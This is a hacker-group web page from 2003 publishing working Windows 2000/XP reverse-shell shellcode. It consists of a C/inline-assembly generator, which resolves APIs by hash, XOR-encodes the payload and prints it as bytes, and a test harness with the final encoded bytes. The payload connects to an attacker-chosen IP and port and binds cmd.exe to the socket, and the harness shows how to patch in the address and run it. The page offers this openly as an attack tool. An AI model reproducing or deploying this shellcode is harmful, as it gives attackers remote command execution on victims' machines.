快速通道

文档分类

- 软件作品
- 文档作品
- **代码作品**

<=

推荐作品

- Windows RPC DCOM DoS exploit
- Serv-U FTPD 2.x/3.x/4.x/5.x "MDTM" Command Rem...
- Mysql 3.23.x/4.0.x remote exploit
- download url file shellcode for win2k/xp
- 利用hash值取得函数地址的connect back shellcode.
- 分析理解elf文件并且自动编排shellcode的程序

利用hash值取得函数地址的connect back shellcode.

提交作品： lion
提交日期： 2003-09-17
作品属性： 推荐
文档类别： 代码作品
浏览次数： 今9次/总6234次

```
/*************************************************************************

作者: lion, lion@cnhonker.net
日期: 2003-09-17
网站: http://www.cnhonker.com


此shellcode特点:

a. 通过peb取得kernel32.dll地址
b. 通过函数的hash值来进行比较,代替GetProcAddress取得函数地址
c. 反连接功能
d. win2000/xp测试成功

参考资料:
http://www.lsd-pl.net/documents/winasm-1.0.1.pdf
http://www.metasploit.com/sc/win32_reverse.asm

*************************************************************************/

#include <stdio.h>
#include <windows.h>

//#include <winsock2.h>
//#pragma comment(lib, "ws2_32")

void    shellcode();
void    printsc(unsigned char *sc, int len);


DWORD    addr;
unsigned char hash[0x300] = {0};
unsigned char sc[0x1000];

// 要打印hash的函数列表
unsigned char buff[]=
"LoadLibraryA\x0"
```

```
"CreateProcessA\x0"
"ExitProcess\x0"
//"ExitThread\x0"
"WSAStartup\x0"
"WSASocketA\x0"
"connect\x0"
"closesocket\x0";

// 取得函数的hash值
static DWORD __stdcall GetHash ( char *c )
{
  DWORD h = 0;

  while ( *c )
  {
     __asm ror h, 13

     h += *c++;
  }
  return( h );
}



void main()
{

   unsigned   char   temp;
   unsigned   char   *shellcodefnadd, *start;
   int          k;
   char       *fnendstr   =   "\x90\x90\x90\x90\x90\x90\x90\x90\x90";
   #define       FNENDLONG       0x08

   int          all, i, j,n;
   //int port = 53;
   char       *p;
   DWORD       h;
//   WSADATA       wsa;

//   WSAStartup(MAKEWORD(2,1),&wsa);

   memset(sc, 0, sizeof(sc));

   // 定位shellcodefnlock的汇编代码
   shellcodefnadd = (unsigned char*)shellcode;
   temp = *shellcodefnadd;
   if(temp == 0xe9)
   {
        ++shellcodefnadd;
        k=*(int *)shellcodefnadd;
        shellcodefnadd+=k;
        shellcodefnadd+=4;
   }

   // 定位shellcode的起始地址
   for(k=0; k <= 0x500; ++k)
   {
      if(memcmp(shellcodefnadd+k, fnendstr, FNENDLONG)==0) break;
   }

   // shellcodefnadd+k+8 是得到的shellcodefnlock汇编代码地址
   start = shellcodefnadd+k+8;

   // 定位 shellcode 长度
   for(k=0; k <= 0x500; ++k)
   {
```

```
        if(memcmp(start+k, fnendstr, FNENDLONG) == 0) break;
    }

    //printf("%x\n", htons(port));

    j = 0;
    n = 0;

    // 循环从列表中计算并打印出函数hash值
    for(i=0; i<sizeof(buff); i++)
    {
        p = &buff[i-j+1];


        if(buff[i] == 0x00)
        {
            if(i == j)
            {
                p = &buff[0];
            }

            printf("#%d i:%d ", j, i);
            j = 0;
            h = GetHash(p);
            memcpy(hash+n, &h, 4);
            n += 4;

            printf("%s Hash: 0x%08X\n", p, h);
            if(buff[i+1] == 0x00) break;

        }

        printf(".");
        j ++;
    }

    all = k;
    memcpy(sc, start, all);

   printf("\nShellcodeLen: %d\n\n", all);
    for(k=0; k <= all-3; ++k)
    {
        if(sc[k] == 0x00 && sc[k+1] == 0x35) printf("port offset: %d\r\n\n", k);
        if(sc[k] == 0x7F && sc[k+3] == 0x01) printf("ip offset: %d\r\n", k);
    }

    // ================== print ======================
///*
    // decode 长度为23字节
    k = all - 23;
    memcpy(sc+8, &k, 2);
    printsc (sc, 23);

    // xor shellcode 0x99
    for(i=23; i < all; i++)
    {
        sc[i] ^= 0x99;
    }

    printsc (sc+23, all-23);

//*/
//    printsc(sc, all);

    addr = (DWORD)&sc;
```

```
    __asm
    {
        jmp       addr
    }

    return;
}


void printsc(unsigned char *sc, int len)
{
    int    l;

    // 打印 普通shellcode
    for(l = 0; l < len; l++)
    {
        if(l == 0) printf("\"");
        if((l%16 == 0) && (l != 0))printf("\"\n\"");

        printf("\\x%.2X", sc[l]);

        if(l == len-1) printf("\"");
    }

    printf("\n\n");

/*
    // 打印 iis unicode shellcode
    for(l = 0; l < len; l += 2)
    {
        if(l == 0) printf("\"");
        if((l%16 == 0) && (l != 0))printf("\"\n\"");

        printf("%%u%.2X%.2X", sc[l+1], sc[l]);

        if(l == len-2) printf("\"");
    }
*/
}

void shellcode (void)
{
    __asm
    {
        nop
        nop
        nop
        nop
        nop
        nop
        nop
        nop
    }

    __asm
    {
//--------------------------------------------------------------------
//
// 解码开始
//
//--------------------------------------------------------------------

        jmp       decode_end

decode_start:
```

```
      pop       edx                  // 得到解码开始位置 esp -> edx
      dec       edx
      xor       ecx,ecx
      mov       cx,0x1FF             // 要解码shellcode长度
decode_loop:

      xor       byte ptr [edx+ecx], 0x99
      loop    decode_loop
      jmp       decode_ok

decode_end:

      call    decode_start

decode_ok:

//-------------------------------------------------------------------
//
//  shellcode开始
//
//-------------------------------------------------------------------
start:
   push esp
   mov ebp, esp

   // ====== 分配空间存放函数地址 ======
   sub esp, 40
   mov esi, esp

   /*
      [esi] stack layout

      00 kernel32.dll
         04 LoadLibraryA
         08 CreateProcessA
         12 ExitProcess

      16 ws2_32.dll
         20 WSASocketA
         24 connect
         28 closesocket
         32 WSAStartup
   */

//-------------------------------------------------------------------
//
// 由hash值取得函数地址
//
//-------------------------------------------------------------------
LoadFunctions:
   call GetKernel32BaseAddr
   mov [esi], eax

   // ====== 取得 LoadLibraryA 函数地址 ======
   push [esi]
   push 0xec0e4e8e
   call LGetProcAddress
   mov [esi + 4], eax

   // ====== 取得 CreateProcessA 函数地址 ======
   push [esi]
   push 0x16b3fe72
   call LGetProcAddress
   mov [esi + 8], eax

   // ====== 取得 ExitProcess 函数地址 ======
```

```
    push [esi]
    push 0x73e2d87e
    call LGetProcAddress
    mov [esi + 12], eax

    // ====== 取得 WS2_32.DLL 地址 ======
    push    0x00003233
    push    0x5f327377
    push    esp
    call    [esi + 4]
    mov [esi + 16], eax

    // ====== 取得 WSASocketA 函数地址 ======
    push [esi + 16]
    push 0xadf509d9
    call LGetProcAddress
    mov [esi + 20], eax

    // ====== 取得 connect 函数地址 ======
    push [esi + 16]
    push 0x60aaf9ec
    call LGetProcAddress
    mov [esi + 24], eax

    // ====== 取得 closesocket 函数地址 ======
    push [esi + 16]
    push 0x79C679E7
    call LGetProcAddress
    mov [esi + 28], eax


    // ====== 取得 WSAStartup 函数地址 ======
    push [esi + 16]
    push 0x3bfcedcb
    call LGetProcAddress
    mov [esi + 32], eax

//-------------------------------------------------------------------
//
// 反连开始
//
//-------------------------------------------------------------------
LWSAStartup:
    // ====== WSAStartup(0x101, &WSADATA[400 bytes!]); ======
    sub esp, 400
    push esp
    push 0x101
    call [esi + 32]


LWSASocketA:
    // ====== s=WSASocketA(2,1,0,0,0,0); ======
    push eax
    push eax
    push eax
    push eax
    inc eax
    push eax
    inc eax
    push eax
    call [esi + 20]

    mov ebx, eax                    // socket句柄保存在ebx

LReconnect:
```

```
    // ====== connect(s, host, port); ======
    push 0x0100007F             // host: 127.0.0.1
    push 0x35000002             // port: 53
    mov ecx, esp
    push 0x10
    push ecx
    push ebx
    call [esi + 24]

   // ====== 如果连接不成功,则退出 ======
    test eax, eax
    jne LFinished


LPushCmd:

    // ====== push "cmd"  ======
    push    0x00646d63
    mov       [esi + 48], esp

LCreateProcessStructs:

    // ====== 为 STARTUPINFO, PROCESS_INFORMATION 分配空间 ======
    sub esp, 16 + 68

    // ====== zero out SI/PI ======
    lea edi, [esp]
//    xor eax, eax
    xor ecx, ecx
    add ecx, 21

LBzero:
    stosd
    loop LBZero

    mov [esp + 16], 68              // si.cb = sizeof(si)
    inc [esp + 61]                 // si.dwFlags = 0x100

    // ====== 进程的输入输出出错句柄指定为输出到 socket  ======
   //mov    [esp + 16 + 45], 0x01       // dwFlags
   //mov    [esp + 16 + 48],0         // wShowWindow
    mov [esp + 16 + 56], ebx          // si.hStdInput = s
    mov [esp + 16 + 60], ebx          // hStdOutput = s
    mov [esp + 16 + 64], ebx         // hStdError = s


LCreateProcess:
   // ====== CreactProcessA(NULL,"CMD",0,0,1,0,0,0,si,pi); ======
    lea eax, [esp + 16]
    push esp                    // pi
    push eax                    // si
    push ecx                    // lpCurrentDirectory
    push ecx                    // lpEnvironment
    push ecx                    // dwCreationFlags
    push 1                     // bInheritHandles
    push ecx                    // lpThreadAttributes
    push ecx                    // lpProcessAttributes
    push [esi + 48]               // lpCommandLine =  "cmd"
    push ecx                   // lpApplicationName NULL

    call [esi + 8]                // CreateProcessA
    //mov ecx, esp

LCloseSocket:
   // ===== CloseSocket(s); =====
    push ebx
```

```
    call [esi + 28]


LFinished:
   // ===== ExitProcess(); =====
    //push 1
    call [esi + 12]


//-------------------------------------------------------------------
//
// GetKernel32BaseAddr(); 取得kernel32的基地址子程序
//
//-------------------------------------------------------------------
GetKernel32BaseAddr:
    push ebp
    push esi

   // ===== 从 PEB 中取得KERNEL32.DLL的起始地址 =====
    mov eax, fs:0x30                    // PEB
    mov eax, [eax + 0x0c]               // PROCESS_MODULE_INFO
    mov esi, [eax + 0x1c]               // InInitOrder.flink
    lodsd                           // eax = InInitOrder.blink
    mov ebp, [eax + 0x08]               // ebp = kernel32.dll base address
    mov eax, ebp
    pop esi
    pop ebp
    ret 4

//-------------------------------------------------------------------
//
//  LGetProcAddress(HASH, DLLBASE);
//
//-------------------------------------------------------------------
LGetProcAddress:
    push ebx
    push ebp
    push esi
    push edi
    mov ebp, [esp + 24]                 // DLL Base Address
    mov eax, [ebp + 0x3c]               // eax = PE header offset
    mov edx, [ebp + eax + 120]
    add edx, ebp                    // edx = exports directory table
    mov ecx, [edx + 24]                 // ecx = number of name pointers
    mov ebx, [edx + 32]
    add ebx, ebp                    // ebx = name pointers table

LFnlp:
    jecxz    LNtfnd
    dec ecx
    mov esi, [ebx + ecx * 4]
    add esi, ebp                    // esi = name pointer
    xor edi, edi
    cld

LHshlp:
    xor eax, eax
    lodsb
    cmp al, ah
    je LFnd
    ror edi, 13
    add edi, eax
    jmp LHshlp

LFnd:
    // ===== 比较hash是否相同 =====
```

```
    cmp edi, [esp + 20]
    jnz LFnlp
    mov ebx, [edx + 36]                 // ebx = ordinals table RNA
    add ebx, ebp
    mov cx, [ebx + 2 * ecx]              // ecx = function ordinal
    mov ebx, [edx + 28]                 // ebx = address table RVA
    add ebx, ebp
    mov eax, [ebx + 4 * ecx]            // eax = address of function RVA
    add eax, ebp
    jmp LDone

LNtfnd:
    xor eax, eax

LDone:
    mov edx, ebp
    pop edi
    pop esi
    pop ebp
    pop ebx
    ret 4

end:
    }

    __asm
    {
        nop
        nop
        nop
        nop
        nop
        nop
        nop
        nop
    }
}
```

测试代码:

```
#include <winsock2.h>

#pragma comment(lib, "ws2_32")

// change this
#define PORT        53
#define IP          "127.0.0.1"

// don't change the offset
#define PORT_OFFSET  200
#define IP_OFFSET    193

unsigned char cbshellcode[]=
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x77\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"

"\xCD\x12\x75\x1A\x75\xB1\x12\x6D\x71\x60\x99\x99\x99\x10\x9F\x66"
"\xAF\xF1\x17\xD7\x97\x75\x71\x9D\x98\x99\x99\x10\xDF\x9D\x66\xAF"
"\xF1\xEB\x67\x2A\x8F\x71\x6C\x99\x99\x99\x10\xDF\x91\x66\xAF\xF1"
"\xE7\x41\x7B\xEA\x71\x7F\x99\x99\x99\x10\xDF\x95\xF1\xAA\xAB\x99"
"\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\xCF\x9D\x10\xDF\x89\x66\xEF\x89"
"\xF1\x40\x90\x6C\x34\x71\x5C\x99\x99\x99\x10\xDF\x8D\x66\xEF\x89"
"\xF1\x75\x60\x33\xF9\x71\x2C\x99\x99\x99\x10\xDF\x81\x66\xEF\x89"
"\xF1\x7E\xE0\x5F\xE0\x71\x3C\x99\x99\x99\x10\xDF\x85\x66\xEF\x89"
"\xF1\x52\x74\x65\xA2\x71\x0C\x99\x99\x99\x10\xDF\xB9\x18\x75\x09"
```

```
"\x98\x99\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\xB9\xC9\xC9\xC9\xC9"
"\xD9\xC9\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\x98\xF1\x9B"
"\x99\x99\xAC\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\x59\xEC\xDA"
"\xF1\xFA\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x14\xA5\xBD\xAA\x50"
"\x1A\x58\x8C\x32\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA4\x10"
"\xC5\xBD\xD1\x10\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\xCD"
"\xC9\xC8\xC8\xC8\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x91\xCA"
"\x66\xCF\x85\x66\xCF\x95\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x12\xD9"
"\x95\x12\xE9\x85\x34\x12\xF1\x91\x12\x5C\xC7\xC4\x5B\x9D\x99\xCA"
"\xCC\xCF\xCE\x12\xF5\xBD\x81\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C"
"\x12\xD3\x81\x12\xC3\xB9\x9A\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C"
"\xAA\x66\x65\xAA\x59\x35\xA3\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72"
"\x6B\xA2\xE5\xBD\x8D\xEC\x78\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2"
"\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C"
"\xC6\xC7\xC4\xC2\x5B\x9D\x99";

void main()
{

  WSADATA wsa;
  unsigned short    port;
  unsigned long     ip;

  WSAStartup(MAKEWORD(2,2),&wsa);

  port = htons(PORT)^(USHORT)0x9999;
  ip = inet_addr(IP)^(ULONG)0x99999999;

  memcpy(&cbshellcode[PORT_OFFSET], &port, 2);
  memcpy(&cbshellcode[IP_OFFSET], &ip, 4);


    __asm
    {
        lea eax,cbshellcode
      jmp eax
    }
}
```

返回上页

Copyright © 2000-2004 **HUC** All Rights Reserved.
中国红客网络技术联盟 www.cnhonker.com
webmaster@cnhonker.net